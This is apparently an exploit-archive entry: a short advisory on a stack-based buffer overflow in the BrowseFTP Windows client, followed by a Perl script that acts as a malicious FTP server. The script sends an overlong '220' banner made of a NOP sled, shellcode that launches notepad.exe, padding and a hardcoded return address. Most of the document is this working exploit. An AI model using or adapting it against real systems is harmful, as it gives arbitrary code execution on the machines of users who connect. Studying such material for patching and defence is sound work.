source: http://www.securityfocus.com/bid/3781/info BrowseFTP is an ftp client that runs on various Microsoft Windows operating systems. An issue has been reported which could allow for a malicious ftp server to execute arbitrary code on a BrowseFTP client user. This is acheivable when a BrowseFTP user connects to an ftp host, if the FTP server '220' response is of excessive length. The stack-based overflow condition can allow for malicious administrators to execute arbitrary code on (and gain control of) client hosts. It is also possible to crash the client. #!/usr/local/bin/perl #------------------------------------------------------------------------ # Browse FTP exploit( run under inetd ) # written by Kanatoko # http://www.jumperz.net/ #------------------------------------------------------------------------ $|=1; #egg written by UNYUN (http://www.shadowpenguin.org/) $egg = "\xEB\x22\x5B\x53\x32\xE4\x83\xC3\x0B\x88\x23\xB8\x24\x98\x01\x78"; $egg .= "\xFF\xD0\x33\xC0\x50\xB4\x78\xC1\xE0\x10\x33\xDB\x66\xBB\x04\x55"; $egg .= "\x0B\xC3\xFF\xD0\xE8\xD9\xFF\xFF\xFF"; $egg .= "notepad.exe"; #018DFB20 $ret = "\x20\xFB\x8D\x01"; $buf = "\x90" x 2428; $buf .= $egg; $buf .= "A" x 299; $buf .= $ret; print "220 $buf\r\n";
